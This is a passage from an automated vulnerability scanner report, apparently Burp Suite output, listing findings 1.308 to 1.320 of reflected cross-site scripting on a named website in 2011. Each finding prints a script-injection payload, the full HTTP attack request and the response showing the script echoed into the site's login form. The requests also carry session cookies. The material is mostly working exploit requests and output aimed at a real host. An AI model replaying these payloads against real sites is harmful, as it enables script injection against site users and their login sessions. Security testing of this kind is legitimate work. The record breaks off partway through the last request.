...[SNIP]...

1.308. http://www.watchmouse.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9dda5"><script>alert(1)</script>6abf1d1d559 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /?9dda5"><script>alert(1)</script>6abf1d1d559=1 HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297196240.1

Response (redirected)

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:06:39 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-e30de4188d70908675753b87c9b948c2"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 17963

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/?9dda5"><script>alert(1)</script>6abf1d1d559=1" method="post">
...[SNIP]...

1.309. http://www.watchmouse.com/assets/css/chat.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/css/chat.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d4284"><script>alert(1)</script>9c72a01d555 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assetsd4284"><script>alert(1)</script>9c72a01d555/css/chat.css HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/chat.php
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.8.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:38 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-4e9aa03e6ffc382c1ac3db0784cd338d"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13118

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assetsd4284"><script>alert(1)</script>9c72a01d555/css/chat.css" method="post">
...[SNIP]...

1.310. http://www.watchmouse.com/assets/css/chat.css [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/css/chat.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload acfba"><script>alert(1)</script>011585907e4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/cssacfba"><script>alert(1)</script>011585907e4/chat.css HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/chat.php
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.8.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:54 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-23228c3cf68c27478046198de94dbd71"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13118

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/cssacfba"><script>alert(1)</script>011585907e4/chat.css" method="post">
...[SNIP]...

1.311. http://www.watchmouse.com/assets/css/chat.css [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/css/chat.css

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c4494"><script>alert(1)</script>3072aa18942 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/css/chat.cssc4494"><script>alert(1)</script>3072aa18942 HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/chat.php
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.8.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:11 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-d8b3c5fcfb4be8a12a3c1310592e17ef"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13118

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/css/chat.cssc4494"><script>alert(1)</script>3072aa18942" method="post">
...[SNIP]...

1.312. http://www.watchmouse.com/assets/css/fancybox.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/css/fancybox.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 171ad"><script>alert(1)</script>49251d16df7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets171ad"><script>alert(1)</script>49251d16df7/css/fancybox.css HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/plans_price.php
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.1.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:38 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-70b22df926a6b5795c7aefc23fcb19bd"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13154

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets171ad"><script>alert(1)</script>49251d16df7/css/fancybox.css" method="post">
...[SNIP]...

1.313. http://www.watchmouse.com/assets/css/fancybox.css [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/css/fancybox.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b0665"><script>alert(1)</script>331d75dd070 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/cssb0665"><script>alert(1)</script>331d75dd070/fancybox.css HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/plans_price.php
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.1.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:53 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-4cb1330944af7a01439ef6f36b612d19"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13154

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/cssb0665"><script>alert(1)</script>331d75dd070/fancybox.css" method="post">
...[SNIP]...

1.314. http://www.watchmouse.com/assets/css/fancybox.css [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/css/fancybox.css

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2ca9c"><script>alert(1)</script>5b062acde4 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/css/fancybox.css2ca9c"><script>alert(1)</script>5b062acde4 HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/plans_price.php
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.1.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:03 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-39de29d75eca7df5c03ad50c589e343e"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13145

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/css/fancybox.css2ca9c"><script>alert(1)</script>5b062acde4" method="post">
...[SNIP]...

1.315. http://www.watchmouse.com/assets/css/popup.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/css/popup.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4bf28"><script>alert(1)</script>bc859e41757 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets4bf28"><script>alert(1)</script>bc859e41757/css/popup.css HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:25 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-2815c85e9397034127e0407ac952228a"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13127

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets4bf28"><script>alert(1)</script>bc859e41757/css/popup.css" method="post">
...[SNIP]...

1.316. http://www.watchmouse.com/assets/css/popup.css [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/css/popup.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c965a"><script>alert(1)</script>d6ba3907236 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/cssc965a"><script>alert(1)</script>d6ba3907236/popup.css HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:30 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-ba043bd45a8cc5b9ba34f99152d66dde"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13127

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/cssc965a"><script>alert(1)</script>d6ba3907236/popup.css" method="post">
...[SNIP]...

1.317. http://www.watchmouse.com/assets/css/popup.css [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/css/popup.css

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7ec9d"><script>alert(1)</script>ca61644db36 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/css/popup.css7ec9d"><script>alert(1)</script>ca61644db36 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:32 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-dfa400119935d2697a7429c6e5dc73e9"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13127

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/css/popup.css7ec9d"><script>alert(1)</script>ca61644db36" method="post">
...[SNIP]...

1.318. http://www.watchmouse.com/assets/css/print.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/css/print.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a034c"><script>alert(1)</script>9f891514c4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assetsa034c"><script>alert(1)</script>9f891514c4/css/print.css?20101008 HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/plans_price.php
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.1.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 11:59:49 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-f4b14ef24fd185b6a7028954c01c369b"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13199

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assetsa034c"><script>alert(1)</script>9f891514c4/css/print.css?20101008" method="post">
...[SNIP]...

1.319. http://www.watchmouse.com/assets/css/print.css [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/css/print.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8303e"><script>alert(1)</script>53626a66573 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/css8303e"><script>alert(1)</script>53626a66573/print.css?20101008 HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/plans_price.php
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.1.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 11:59:54 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-73a1c84daad1dd136c7864cbe222e92c"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13208

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/css8303e"><script>alert(1)</script>53626a66573/print.css?20101008" method="post">
...[SNIP]...

1.320. http://www.watchmouse.com/assets/css/print.css [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/css/print.css

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 74725"><script>alert(1)</script>a742c99b4ff was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/css/print.css74725"><script>alert(1)</script>a742c99b4ff?20101008 HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/plans_price.php
Accept: text/css,*/*;q=0.1
